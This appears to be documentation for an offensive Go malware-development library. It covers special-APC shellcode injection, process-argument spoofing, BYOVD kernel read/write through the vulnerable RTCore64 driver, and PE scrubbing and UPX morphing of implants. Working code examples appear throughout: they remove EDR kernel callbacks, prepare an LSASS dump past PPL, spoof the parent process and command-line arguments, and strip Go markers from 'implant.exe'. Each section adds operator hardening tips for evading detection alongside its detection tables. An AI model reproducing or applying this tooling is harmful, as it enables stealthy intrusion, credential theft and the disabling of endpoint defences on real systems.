Method(inject.MethodNtQueueApcThreadEx).
TargetPID(targetPID).
IndirectSyscalls().
WithFallback().
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Cross-process NtAllocateVirtualMemory + NtWriteVirtualMemory | EDR userland hooks + ETW-Ti |
NtQueueApcThreadEx with the special-APC flag | ETW-Ti (Microsoft-Windows-Threat-Intelligence) emits an ApcQueue event with the flag — newer EDR rules key on it specifically |
Multiple consecutive NtOpenThread(THREAD_SET_CONTEXT) | Behavioural EDR rule — opening every thread until one succeeds is unusual |
| APC start address outside any image | EDR memory scanners flag the orphan APC target |
D3FEND counters:
- D3-PSA — APC chain plus orphan start address is a strong signal.
- D3-PCSV — APC start should match an image.
Hardening for the operator: combine with SectionMapInject
or PhantomDLLInject to make the APC start address
image-backed; pair with evasion/unhook
so the cross-process Nt calls dodge userland hooks.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.004 | Process Injection: Asynchronous Procedure Call | special-APC variant — no alertable wait | D3-PSA |
Limitations
- Win10 1903+ only. Older Windows builds lack the special-APC
flag. The
WithFallback()chain falls through to standardQueueUserAPCthenCreateRemoteThread. THREAD_SET_CONTEXTmay be denied. Some hardened threads (services with restricted ACLs, PPL processes) refuse the open. The loop keeps trying; if every thread refuses, the inject fails.- Cross-process write still happens. The technique avoids the thread-creation event, not the VM-write event.
- Undocumented flag. Microsoft has not promised stability for the special-APC flag. Verify after major build upgrades.
- No PPL targets. Cross-process VM operations on PPL are denied.
See also
- Early Bird APC — child-process variant of the same APC trick.
- CreateRemoteThread — louder cousin used as fallback.
- Section Mapping / Phantom DLL — pair to make the APC start address image-backed.
- Repnz, Special User APCs in Windows 10 — primer on the special-APC primitive.
Process argument spoofing
← injection index · docs/index
TL;DR
Spawn a child in CREATE_SUSPENDED with fake command-line arguments
(what EDR/Sysmon records at process creation), then rewrite the PEB's
RTL_USER_PROCESS_PARAMETERS.CommandLine UNICODE_STRING to the real
arguments before resuming. The process executes with the real args; the
audit trail shows the cover args. Not a shellcode injection on its own
— a creation-time disguise that pairs with the suspended-child injection
techniques.
Primer
Process-creation telemetry on Windows captures the command-line at the
moment NtCreateUserProcess runs. Sysmon Event 1 fires; EDRs snapshot
the args; the kernel callback PsSetCreateProcessNotifyRoutineEx
delivers them. Any monitoring tooling that keys on command-line content
sees what the kernel saw at that instant.
Argument spoofing exploits the gap between creation and execution.
The implant calls CreateProcessW with CREATE_SUSPENDED and a benign
command line (cmd.exe /c dir). The kernel records the benign args. The
implant then locates the suspended child's PEB, walks to
ProcessParameters → CommandLine (a UNICODE_STRING), and rewrites
its Buffer and Length with the real args before ResumeThread. The
process now executes with the real command line; the kernel's audit
record still says dir.
This is a disguise, not an injection. It is typically paired with
MethodEarlyBirdAPC, MethodThreadHijack,
or other suspended-child techniques to make the visible command line of
the sacrificial child blend in.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant EDR as "EDR / Sysmon"
participant Child as "Child (suspended)"
Impl->>Kern: CreateProcess("cmd.exe /c dir", SUSPENDED)
Kern->>EDR: Event 1: "cmd.exe /c dir"
Kern-->>Impl: hProcess, hThread
Kern->>Child: frozen, PEB has fake args
Impl->>Kern: NtQueryInformationProcess(ProcessBasicInformation)
Kern-->>Impl: PEB address
Impl->>Child: ReadProcessMemory(PEB.ProcessParameters)
Impl->>Child: ReadProcessMemory(.CommandLine UNICODE_STRING)
Impl->>Child: WriteProcessMemory(CommandLine.Buffer = real args)
Impl->>Child: WriteProcessMemory(CommandLine.Length = newLen)
Impl->>Kern: ResumeThread(hThread)
Child->>Child: runs with real args
Note over Child,EDR: EDR audit still says "cmd.exe /c dir"
Steps:
CreateProcessW(SUSPENDED, "cmd.exe /c dir")— kernel records the fake args.NtQueryInformationProcess(ProcessBasicInformation)— get the child's PEB.ReadProcessMemoryatPEB+0x20(x64) for theRTL_USER_PROCESS_PARAMETERSpointer.ReadProcessMemoryatProcessParameters+0x70for theCommandLineUNICODE_STRING.- Encode the real command line as UTF-16LE;
WriteProcessMemoryintoCommandLine.Buffer; updateCommandLine.Length. - Caller resumes the thread when ready (or hands the suspended child off to a paired injection technique).
API Reference
inject.SpawnWithSpoofedArgs(exePath, fakeArgs, realArgs string) (*windows.ProcessInformation, error)
Spawn exePath in CREATE_SUSPENDED with fakeArgs as the visible
command line, then rewrite the PEB to realArgs before returning.
Parameters:
exePath— full path of the binary to spawn.fakeArgs— command line shown to EDR / Sysmon at process-creation time. Should be benign (cmd.exe /c dir,C:\Windows\System32\notepad.exe AAA.txt).realArgs— actual command line the process will see. Must fit infakeArgs's allocated buffer (MaximumLength); otherwise the function returns an error.
Returns:
*windows.ProcessInformation— the standard Win32 struct withhProcess,hThread,dwProcessId,dwThreadId. The thread is still suspended; caller resumes (or pairs with another injection technique).error— wrapsCreateProcessW/NtQueryInformationProcess/ReadProcessMemory/WriteProcessMemoryfailures, or reports ifrealArgsexceeds the spawn buffer.
Side effects: spawns a child process. The child is suspended on return — caller owns its lifecycle.
OPSEC: the fake args land in EDR / Sysmon / kernel-callback telemetry; the real args live only in the child's PEB at runtime.
[!IMPORTANT] The spoofed buffer cannot grow beyond what
CreateProcessWallocated. KeepfakeArgslong enough to holdrealArgs— typically pad with spaces.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
pi, err := inject.SpawnWithSpoofedArgs(
`C:\Windows\System32\cmd.exe`,
`cmd.exe /c dir C:\ `,
`cmd.exe /c whoami /priv`,
)
if err != nil { return err }
defer windows.CloseHandle(pi.Process)
defer windows.CloseHandle(pi.Thread)
// caller resumes when ready
_, _ = windows.ResumeThread(pi.Thread)
Composed (spoofed args + Early Bird APC into the same child)
The spoofed-arg child is the perfect host for Early Bird APC: the
audit trail says cmd.exe /c dir, but the child runs the implant's
shellcode before its own entry point.
pi, err := inject.SpawnWithSpoofedArgs(
`C:\Windows\System32\cmd.exe`,
`cmd.exe /c dir C:\ `,
`cmd.exe /c echo benign`,
)
if err != nil { return err }
// Hand the suspended child to the Early Bird path. The package's
// EarlyBirdAPC injector takes a fresh ProcessPath; for an existing
// suspended child, drive the primitives directly:
// - NtAllocateVirtualMemory(pi.Process, RW)
// - NtWriteVirtualMemory(shellcode)
// - NtProtectVirtualMemory(RX)
// - NtQueueApcThread(pi.Thread, addr)
// - ResumeThread(pi.Thread)
Advanced (PPID spoof + arg spoof)
Combine with process/spoofparent to
also lie about the parent process — the audit trail then shows a
plausible parent + plausible args.
import (
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/spoofparent"
)
token, err := spoofparent.AcquireParentToken("services.exe")
if err != nil { return err }
defer token.Close()
return spoofparent.RunAs(token, func() error {
pi, err := inject.SpawnWithSpoofedArgs(
`C:\Windows\System32\cmd.exe`,
`cmd.exe /c dir C:\ `,
`cmd.exe /c whoami /all`,
)
if err != nil { return err }
_, _ = windows.ResumeThread(pi.Thread)
return nil
})
Complex (full chain: arg spoof + thread hijack + indirect syscalls)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)
pi, err := inject.SpawnWithSpoofedArgs(
`C:\Windows\System32\cmd.exe`,
`cmd.exe /c dir C:\ `,
`cmd.exe /c echo benign`,
)
if err != nil { return err }
// Now thread-hijack the spawned child instead of resuming it normally.
// The high-level inject.MethodThreadHijack assumes its own spawn; for
// an existing suspended child, replicate the read CONTEXT → mutate Rip
// → set CONTEXT → resume sequence — see thread-hijack.md.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Padded command line at creation time | EDR rules sometimes flag long whitespace runs in cmd.exe args |
Cross-process WriteProcessMemory into a freshly-spawned child | EDR userland hooks + ETW-Ti WriteVirtualMemory |
RTL_USER_PROCESS_PARAMETERS.CommandLine mutation between CreateProcess and ResumeThread | High-end EDRs (CrowdStrike, MDE, SentinelOne) compare the live PEB at multiple checkpoints — strong signal when fake ≠ real |
Live GetCommandLineW() ≠ EDR-recorded command line | Endpoint scrapers that re-read the PEB after creation catch the lie |
D3FEND counters:
- D3-PSA — multi-checkpoint command-line comparison.
- D3-EAL — WDAC validates execution but does not prevent the spoof itself.
Hardening for the operator: keep fakeArgs plausible (no obvious
padding patterns); pair with PPID spoofing so the child has both a
plausible parent and plausible args; route the cross-process Nt calls
through indirect syscalls; mind that the high-end EDRs that re-snapshot
the PEB beat this technique.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1564.010 | Hide Artifacts: Process Argument Spoofing | PEB rewrite between creation and resume | D3-PSA |
| T1036.005 | Masquerading: Match Legitimate Name or Location | combine with a legitimate exePath for full audit-trail disguise | D3-PSA |
Limitations
MaximumLengthcap. The spoofed buffer cannot grow beyond whatCreateProcessWallocated. PadfakeArgsto leave room.- Live PEB scrapers defeat it. EDRs that re-read
PEB.ProcessParameters.CommandLineafter process creation see the real args. The technique only fools consumers that snapshot at creation time (Sysmon Event 1, basic EDR, kernel callback). - Not an injection.
SpawnWithSpoofedArgsonly rewrites the PEB. Pair with another technique to actually run shellcode in the child. - Cross-process write fires.
WriteProcessMemoryruns twice (CommandLine buffer + length). EDR-Ti will see it. - Whitespace padding is fingerprintable. Some EDR rules look for unusually long padding inside command-line strings.
See also
- Early Bird APC — pair to actually run shellcode in the spoofed-args child.
- Thread Hijack — alternate trigger for the suspended child.
process/spoofparent— pair to spoof the parent as well.- Adam Chester / xpn, Process arg spoofing, 2018 — original public write-up.
Kernel-mode primitives (kernel/*)
The kernel/* package tree exposes userland-callable kernel
read/write primitives by abusing signed-but-vulnerable third-party
drivers (BYOVD). Userland obtains kernel R/W without loading an
unsigned driver — defeats HVCI on hosts older than the 2021-09
vulnerable-driver block-list update.
flowchart LR
Caller -->|Driver.Install| Lifecycle["NtLoadDriver +<br>SCM CreateService/Start"]
Lifecycle --> SignedSys["RTCore64.sys (signed)"]
SignedSys --> IOCTL["IOCTL 0x80002048 / 0x8000204C"]
IOCTL --> Kernel["arbitrary kernel R/W"]
Kernel -->|consumed by| KCB["evasion/kcallback"]
Kernel -->|consumed by| LSASS["credentials/lsassdump"]
Decision tree
| Operator question | Package / page |
|---|---|
| "I need to wipe a kernel-callback array." | evasion/kcallback feeds on this primitive |
| "I need to dump LSASS bypassing PPL." | credentials/lsassdump |
| "I need a signed BYOVD driver to install." | kernel/driver/rtcore64 |
Per-package pages
- byovd-rtcore64.md — RTCore64.sys (CVE-2019-16098). Microsoft-attested signed; refused on HVCI hosts ≥ 2021-09 vulnerable-driver block-list.
Common contract
Every concrete BYOVD driver implements three interfaces from the umbrella package:
kernel/driver.Reader—ReadKernel(addr, buf) (int, error).kernel/driver.ReadWriter— addsWriteKernel(addr, data).kernel/driver.Lifecycle—Install / Uninstall / Loaded. Idempotent install; best-effort uninstall.
Sentinel errors: ErrNotImplemented, ErrNotLoaded,
ErrPrivilegeRequired (caller lacks SeLoadDriverPrivilege).
MITRE ATT&CK rollup
| ID | Technique | Owners |
|---|---|---|
| T1014 | Rootkit | kernel/driver, kernel/driver/rtcore64 |
| T1543.003 | Create or Modify System Process: Windows Service | service install path |
| T1068 | Exploitation for Privilege Escalation | IOCTL R/W primitive |
See also
docs/techniques/evasion/kernel-callback-removal.mddocs/techniques/credentials/lsassdump.mddocs/architecture.md— layering rules
BYOVD — RTCore64 (CVE-2019-16098)
← kernel techniques · docs/index
MITRE ATT&CK: T1014 — Rootkit +
T1543.003 — Create or Modify System Process: Windows Service +
T1068 — Exploitation for Privilege Escalation
Package: kernel/driver/rtcore64
Platform: Windows amd64
Detection: very-noisy during driver load; moderate steady-state
Primer
EDR vendors register kernel-mode callbacks (PsSetCreateProcessNotifyRoutineEx,
PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, …) that
receive every process/thread/image-load event. To remove them — or to
read kernel structures like EPROCESS.Protection (LSASS PPL) or
PspCreateProcessNotifyRoutine[] — userland needs an arbitrary kernel
read/write primitive.
BYOVD (Bring Your Own Vulnerable Driver) sidesteps the
"unsigned drivers don't load on HVCI" wall by abusing a Microsoft-
attested signed driver that itself exposes an unauthenticated
arbitrary-r/w IOCTL. RTCore64.sys (MSI Afterburner < 4.6.2.15658) is
the canonical target: signed, widely deployed, and its
CVE-2019-16098 IOCTLs 0x80002048 (read) and 0x8000204C (write)
take a virtual address + length + buffer with no auth.
The 2021-09-02 Microsoft vulnerable-driver block-list update flagged
RTCore64 — patched HVCI Win10/11 builds refuse to load it. On
unpatched / non-HVCI hosts it still loads and grants kernel read/write
to any caller with SeLoadDriverPrivilege.
Package surface
kernel/driver/rtcore64 exposes a Driver type that implements both
kernel/driver.ReadWriter and kernel/driver.Lifecycle:
var d rtcore64.Driver
if err := d.Install(); err != nil { // SCM register + start + open device
return err
}
defer d.Uninstall() // stop + delete + remove dropped binary
buf := make([]byte, 8)
if _, err := d.ReadKernel(0xFFFFF80012345678, buf); err != nil {
return err // IoctlRead at the given VA
}
The Driver shape-satisfies evasion/kcallback.KernelReadWriter, so
it plugs straight into kcallback.Enumerate / kcallback.Remove
without wrappers.
Lifecycle steps
loadDriverBytes()returns the embedded RTCore64.sys bytes (see Driver binary below).dropDriverwrites the bytes to%WINDIR%\Temp\RTCore64.sys.installAndStartServiceregisters the driver under SCM as aSERVICE_KERNEL_DRIVERnamedRTCore64, then callsStartService.ERROR_ACCESS_DENIEDis mapped todriver.ErrPrivilegeRequired.openDeviceopens\\.\RTCore64withGENERIC_READ | GENERIC_WRITE.ReadKernel/WriteKernelissueDeviceIoControlagainst that handle. Transfers cap atMaxPrimitiveBytes = 4096per IOCTL — larger reads/writes loop in the caller, since RTCore64's pool transfers are unstable above one page.Uninstallcloses the handle, stops + deletes the service, and removes the dropped file. Best-effort: every step runs even if earlier ones failed.
Driver binary
The package ships without the signed RTCore64.sys binary by
default — building with the default tag set yields
ErrDriverBytesMissing from Install(). To enable real BYOVD
operations:
-
Obtain RTCore64.sys (any version ≤ 4.6.2.15658). Verify the signature chain via
signtool verify /v /a— the leaf cert must chain toMicrosoft Windows Hardware Compatibility Publisher. -
Drop a sibling file
kernel/driver/rtcore64/embed_byovd_rtcore64_windows.gothat overridesloadDriverBytes()://go:build windows && byovd_rtcore64 package rtcore64 import _ "embed" //go:embed RTCore64.sys var rtcoreBytes []byte func loadDriverBytes() ([]byte, error) { return rtcoreBytes, nil } -
Build with
go build -tags=byovd_rtcore64. The resulting binary embeds the signed driver; default builds don't.
This split keeps the open-source repo free of MSI's licensed binary while still shipping every other piece of the BYOVD chain — the service-install plumbing, IOCTL wrappers, and lifecycle management all live in source-tree code.
Advanced — looping reads beyond the per-IOCTL cap
A single IOCTL caps at MaxPrimitiveBytes (4096 bytes). Larger reads
loop in the caller — the driver's pool-buffer transfer is unstable
above one page:
package main
import (
"fmt"
"github.com/oioio-space/maldev/kernel/driver"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)
// readKernel issues IOCTLs in <=MaxPrimitiveBytes chunks and concatenates
// the results. Bails on the first error so the caller can decide whether
// to retry from the partial offset.
func readKernel(rw driver.Reader, addr uintptr, size int) ([]byte, error) {
out := make([]byte, 0, size)
for off := 0; off < size; {
chunk := size - off
if chunk > rtcore64.MaxPrimitiveBytes {
chunk = rtcore64.MaxPrimitiveBytes
}
buf := make([]byte, chunk)
n, err := rw.ReadKernel(addr+uintptr(off), buf)
if err != nil {
return out, fmt.Errorf("read @0x%X (off=%d): %w", addr+uintptr(off), off, err)
}
out = append(out, buf[:n]...)
off += n
}
return out, nil
}
func main() {
var d rtcore64.Driver
if err := d.Install(); err != nil { panic(err) }
defer d.Uninstall()
// Read 32 KiB starting at some kernel VA — 8 IOCTLs under the hood.
bytes, err := readKernel(&d, 0xFFFFF80012345000, 32*1024)
fmt.Printf("read=%d err=%v\n", len(bytes), err)
}
Composed — RTCore64 + kcallback enumeration + selective Remove
The whole point of kernel/driver/rtcore64 is to back a driver.ReadWriter
that downstream packages consume. evasion/kcallback is the canonical
consumer — given the driver, enumerate every PspCreate/Thread/LoadImage
notify routine and selectively neutralize an EDR's callbacks:
package main
import (
"fmt"
"log"
"github.com/oioio-space/maldev/evasion/kcallback"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)
func main() {
// 1. Bring up the driver.
var d rtcore64.Driver
if err := d.Install(); err != nil { log.Fatal(err) }
defer d.Uninstall()
// 2. Operator-supplied OffsetTable for the current ntoskrnl build
// (derived offline from a PDB dump — see kernel-callback-removal.md).
tab := kcallback.OffsetTable{
Build: 19045,
CreateProcessRoutineRVA: 0xC1AAA0,
CreateThreadRoutineRVA: 0xC1AC20,
LoadImageRoutineRVA: 0xC1AB40,
ArrayLen: 64,
}
// 3. Enumerate.
cbs, err := kcallback.Enumerate(&d, tab)
if err != nil { log.Fatal(err) }
// 4. Selectively NULL-out every EDR-driver-owned slot. Restore on exit
// so the host doesn't notice tampering after a benign payload.
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
fmt.Printf("[%s][%d] %s @ 0x%X enabled=%v\n",
cb.Kind, cb.Index, cb.Module, cb.Address, cb.Enabled)
if cb.Module == "WdFilter.sys" || cb.Module == "MsSecCore.sys" {
tok, err := kcallback.Remove(cb, &d)
if err != nil { log.Printf("remove %s[%d]: %v", cb.Kind, cb.Index, err); continue }
tokens = append(tokens, tok)
}
}
defer func() {
for _, tok := range tokens {
_ = kcallback.Restore(tok, &d)
}
}()
// ... payload runs here without EDR callbacks firing ...
}
The same &d plugs into credentials/lsassdump.Unprotect for a PPL
LSASS dump — see LSASS Credential Dump
for that composition.
Detection
| Phase | Signal |
|---|---|
| Drop | New file write to %WINDIR%\Temp\RTCore64.sys |
| SCM install | CreateService with SERVICE_KERNEL_DRIVER + name RTCore64 |
| Driver load | NtLoadDriver event, Microsoft-Windows-Kernel-General ETW |
| IOCTL | DeviceIoControl against \\.\RTCore64 with codes 0x80002048 / 0x8000204C (every public PoC uses these exact codes) |
Detection drops to Medium once steady-state because the driver is signed, but the device name is in every EDR's known-IOC list. Renaming the dropped file does not help — the IOCTL device path is hard-coded inside RTCore64.sys.
References
See also
- Kernel BYOVD area README
evasion/kcallback— major consumer of the kernel R/W primitivecredentials/lsassdump— uses the kernel R/W to flip lsass.exe out of PPL
PE manipulation
Pure-Go Portable Executable analysis, sanitisation, identity
cloning, signature grafting, and conversion-to-shellcode. The
package tree is intentionally bottom-up: pe/parse and
pe/imports are read-only walkers, pe/strip, pe/morph,
pe/cert, pe/masquerade are byte-mutators on a []byte, and
pe/srdi is the producer of position-independent shellcode that
downstream inject/ chains consume. Runtime-side BOF and CLR
loaders moved to runtime/bof and
runtime/clr respectively.
flowchart LR
subgraph offline [Offline / build-host]
SRC[Source PE<br>signed donor]
PARSE[parse + imports<br>read-only walkers]
STRIP[strip<br>Go-toolchain scrub]
MORPH[morph<br>UPX header rename]
CERT[cert<br>Authenticode graft]
MASQ[masquerade<br>manifest + icon<br>+ VERSIONINFO clone]
SRDI[srdi<br>Donut PE → shellcode]
end
subgraph runtime [Runtime / target host]
INJECT[inject/*<br>execute shellcode]
BOF[runtime/bof<br>COFF loader]
CLR[runtime/clr<br>.NET hosting]
end
SRC --> PARSE
SRC --> STRIP
SRC --> MORPH
SRC --> CERT
SRC --> MASQ
SRC --> SRDI
SRDI --> INJECT
PARSE -. drives unhook scoping .-> RUNT[runtime evasion]
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
pe/parse | (covered here + doc.go) | very-quiet | Read-only debug/pe wrapper for section / export / raw-byte access |
pe/imports | imports.md | very-quiet | Cross-platform import-table enumeration |
pe/strip | strip-sanitize.md | quiet | Go pclntab wipe + section rename + timestamp scrub |
pe/morph | morph.md | moderate | UPX header signature mutation |
pe/cert | certificate-theft.md | quiet | Authenticode security-directory read / copy / strip / write |
pe/masquerade | masquerade.md | quiet | manifest + icon + VERSIONINFO clone via .syso (preset or programmatic) |
pe/srdi | pe-to-shellcode.md | moderate | PE / .NET / script → Donut shellcode |
pe/dllproxy | dll-proxy.md | very-quiet | Pure-Go forwarder DLL emitter for DLL-hijack payloads |
Quick decision tree
| You want to… | Use |
|---|---|
| …read every DLL!Function pair from a PE | imports.List |
| …wipe the "Made in Go" markers | strip.Sanitize |
| …hide a UPX-packed binary from auto-unpackers | morph.UPXMorph |
| …graft a Microsoft signature onto an unsigned binary | cert.Copy |
| …make Process Explorer render the implant as svchost | preset blank-import |
| …clone any PE's identity programmatically | masquerade.Clone / Build |
| …convert a PE / .NET / script to position-independent shellcode | srdi.ConvertFile |
| …feed shellcode to remote-process injection | pe/srdi → inject |
| …enumerate sections / exports for tooling | pe/parse |
| …emit a forwarder DLL for hijack payloads (no MSVC) | dllproxy.Generate |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1027.002 | Obfuscated Files or Information: Software Packing | pe/strip, pe/morph, pe/parse | D3-SEA, D3-FCA |
| T1027.005 | Indicator Removal from Tools | pe/strip | D3-SEA |
| T1036.005 | Masquerading: Match Legitimate Name or Location | pe/masquerade | D3-EAL, D3-SEA |
| T1055.001 | Process Injection: Dynamic-link Library Injection | pe/srdi (consumer) | D3-PA |
| T1106 | Native API | pe/imports | D3-SEA |
| T1574.001 | DLL Search Order Hijacking | pe/dllproxy | D3-PFV |
| T1574.002 | DLL Side-Loading | pe/dllproxy | D3-PFV |
| T1553.002 | Subvert Trust Controls: Code Signing | pe/cert | D3-EAL |
| T1620 | Reflective Code Loading | pe/srdi | D3-FCA, D3-PA |
Layered scrub recipe
The full identity scrub for a Go-built implant is a six-step build-host pipeline. None of the steps is enough alone; together they survive triage long enough to matter.
- Build with garble — symbol obfuscation at compile time.
pe/masquerade.Clone— clone svchost / cmd / explorer identity at link time via.syso.pe/strip.Sanitize— wipe pclntab + rename Go sections + scrub timestamp.- UPX pack +
pe/morph.UPXMorph— defeat signature-based unpackers. pe/cert.Copy— graft a Microsoft Authenticode blob.cleanup/timestomp.CopyFromFull— align MFT timestamps to the donor.
For payload delivery (separate from build):
pe/srdi.ConvertFile— convert the implant or downstream payload to Donut shellcode.inject/*— deliver the shellcode via any of the documented techniques.
See also
- Operator path: build-host pipeline — full scrub recipe.
- Detection eng path: PE-level artefacts.
runtime/bof— COFF (BOF) loader; consumes BOF objects produced upstream.runtime/clr— in-process .NET hosting; consumes managed payloads.inject— execution surface forpe/srdishellcode.crypto— payload encryption pre-conversion.hash— measure SHA-256 vs fuzzy-hash deltas after morph.
PE Sanitization (Go-toolchain scrub)
TL;DR
Wipe the "Made in Go" markers from a Windows PE: pclntab magic
bytes (defeats redress / GoReSym / IDA go_parser), Go-specific
section names (.gopclntab, .go.buildinfo, …), and the
TimeDateStamp. Sanitize chains the three primitives with
sensible defaults; individual primitives stay exported so callers
can compose custom pipelines.
Primer
Go binaries are uniquely identifiable. They ship with a build
timestamp, a pclntab structure that tools like IDA's
go_parser, redress, and GoReSym use to reconstruct function
names, and section names like .gopclntab that immediately
identify the binary as Go to even the laziest YARA rule.
pe/strip removes or rewrites these indicators so static
analysis tooling cannot trivially identify the binary as Go nor
reconstruct its internal structure. Pair with garble (Go-symbol
obfuscation at compile time) for a layered scrub: garble handles
the symbols, strip handles the PE-level fingerprint that
remains after garble emits the binary.
How It Works
flowchart LR
INPUT[Go-built PE binary] --> TS[SetTimestamp<br>random epoch / project date]
TS --> PCL[WipePclntab<br>zero 32 bytes at each<br>pclntab magic match]
PCL --> RN[RenameSections<br>.gopclntab → .rdata2<br>.go.buildinfo → .rsrc2<br>.noptrdata → .data2]
RN --> OUT[Sanitised PE]
| Primitive | What it touches |
|---|---|
SetTimestamp | IMAGE_FILE_HEADER.TimeDateStamp (4 bytes at PE+8) |
WipePclntab | 32 bytes at every 0xFFFFFFF1 (Go 1.20+) / 0xFFFFFFF0 (Go 1.16+) magic match in the binary |
RenameSections | 8-byte Name field of every matching section header |
Sanitize applies all three with defaults: random recent
timestamp, full pclntab wipe, the canonical .go* →
.{rdata,rsrc,data}2 rename map.
API Reference
Sanitize(peData []byte) []byte
Apply all sanitisations with sensible defaults. Returns a fresh byte slice; the input is not mutated.
SetTimestamp(peData []byte, t time.Time) []byte
Overwrite IMAGE_FILE_HEADER.TimeDateStamp with t's Unix
seconds.
WipePclntab(peData []byte) []byte
Zero 32 bytes at every Go pclntab magic-byte match. Targets
0xFFFFFFF1 (Go 1.20+) and 0xFFFFFFF0 (Go 1.16+).
RenameSections(peData []byte, renames map[string]string) []byte
Walk the section table and overwrite each 8-byte Name field
where the existing name matches a key in renames.
Examples
Simple — quick sanitise
import (
"os"
"github.com/oioio-space/maldev/pe/strip"
)
raw, _ := os.ReadFile("implant.exe")
clean := strip.Sanitize(raw)
_ = os.WriteFile("implant_clean.exe", clean, 0o644)
Composed — fixed timestamp + custom renames
import (
"time"
"github.com/oioio-space/maldev/pe/strip"
)
raw, _ := os.ReadFile("implant.exe")
raw = strip.SetTimestamp(raw, time.Date(2024, 6, 15, 10, 30, 0, 0, time.UTC))
raw = strip.WipePclntab(raw)
raw = strip.RenameSections(raw, map[string]string{
".gopclntab": ".rdata",
".go.buildinfo": ".rsrc",
".text": ".code",
})
Advanced — garble + strip pipeline
import (
"os"
"os/exec"
"github.com/oioio-space/maldev/pe/strip"
)
func buildAndSanitize() {
_ = exec.Command("garble", "-literals", "-tiny", "build",
"-ldflags", "-s -w -H windowsgui",
"-o", "implant-garbled.exe",
"./cmd/implant",
).Run()
raw, _ := os.ReadFile("implant-garbled.exe")
raw = strip.Sanitize(raw)
_ = os.WriteFile("implant-final.exe", raw, 0o644)
}
See ExampleSanitize.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
YARA rule matching .gopclntab / .go.buildinfo section names | Static scanners; trivially defeated by RenameSections |
YARA rule matching pclntab magic (FF FF FF F1) | Static scanners; defeated by WipePclntab |
| Build-timestamp pinning to a known Go-toolchain release window | Forensic timeline; defeated by SetTimestamp |
| Rich header (Microsoft linker fingerprint) | Not produced by Go's linker — so its absence is itself a tell on Windows-only deployments |
| File entropy / Go-binary size signature | Outside this package's scope; pair with UPX / pe/morph |
D3FEND counters:
Hardening for the operator:
- Run
Sanitizeafter garble so Go-symbol obfuscation lands before the PE-level scrub. - Couple with
pe/morphif the implant is UPX-packed — neither alone defeats both static + entropy detection. - Don't rely on this for behavioural EDR — the binary still acts like Go runtime (large initial allocations, GC pauses, ntdll-heavy IAT).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027.002 | Obfuscated Files or Information: Software Packing | partial — header + section-name scrub, no payload encryption | D3-SEA |
| T1027.005 | Indicator Removal from Tools | full — pclntab wipe defeats Go-binary-disassembly tools | D3-SEA |
Limitations
- Not encryption. The binary structure is still a valid PE; behavioural analysis is unaffected.
- Partial pclntab.
WipePclntabzeros 32 bytes per magic match — the rest of the pclntab structure remains, and determined analysts can reconstruct portions. - Cosmetic section renames. Renaming
.gopclntabto.rdata2does not change its contents; entropy still identifies the data inside. - Complementary, not standalone. Pair with garble (symbols), pe/morph (UPX), pe/cert (signature) for layered scrub.
- Malformed PEs may panic. Functions assume well-formed PE input; run on toolchain-emitted binaries only.
See also
- PE morphing (UPX section rename) — pair for packed-binary scrub.
- Certificate theft — clone an Authenticode signature post-strip.
crypto— payload encryption beyond PE-level scrub.hash— verify the hash delta after sanitisation.- Operator path.
- Detection eng path.
PE Morphing (UPX section rename)
TL;DR
Replace UPX section names (UPX0, UPX1, UPX2) with random
bytes so off-the-shelf static unpackers (CFF Explorer, x64dbg's
UPX plugin, IDA's UPX preprocessor) fail to recognise the input.
The runtime UPX stub keeps working because it references offsets,
not the magic. UPXFix reverses the morph for debugging.
Primer
UPX is the most popular executable packer — it compresses
binaries to reduce size. Every UPX-packed binary carries
well-known section names that every antivirus and EDR fingerprint
on contact. pe/morph rewrites those names with random non-zero
bytes, breaking the signature-based unpack pipeline while leaving
the runtime behaviour intact.
The morph is a 24-byte change (three 8-byte section name fields). That is enough to break SHA-256 blocklists entirely, but similarity-hash scans (ssdeep, TLSH) still pin the variant to its parent in the ~95th percentile range — the morph is genuinely shallow, defeating only signature-based static unpacker matching.
How It Works
flowchart LR
INPUT["UPX-packed binary<br>UPX0 / UPX1 / UPX2"] --> SCAN[Scan section table<br>for 'UPX' substring]
SCAN --> RAND[Generate 8 random<br>printable bytes per section]
RAND --> PATCH[Overwrite Name field<br>40-byte section header offset]
PATCH --> OUT[Morphed binary<br>random section names]
The section name field lives at offset 0 of every 40-byte section
header in the section table. The section table itself starts at
COFF_offset + 20 + SizeOfOptionalHeader; each header is 40 bytes;
the Name field is the first 8 bytes. UPXMorph walks the table,
matches names containing "UPX", and overwrites the 8 bytes in
place. UPXFix walks the same table, matches the random bytes
against the expected layout (3 sections, sequential), and
restores the canonical names.
API Reference
UPXMorph(peData []byte) ([]byte, error)
Replace UPX section names with random bytes. Returns the input unchanged when the PE is not UPX-packed; returns an error on malformed PE input.
UPXFix(peData []byte) ([]byte, error)
Restore canonical UPX0 / UPX1 / UPX2 section names. The morphed
binary becomes unpackable with upx -d again.
Examples
Simple — morph an existing UPX binary
import (
"os"
"github.com/oioio-space/maldev/pe/morph"
)
raw, _ := os.ReadFile("payload.upx.exe")
morphed, _ := morph.UPXMorph(raw)
_ = os.WriteFile("payload.morph.exe", morphed, 0o644)
Composed — restore for debugging
restored, _ := morph.UPXFix(morphed)
// upx -d on restored now succeeds
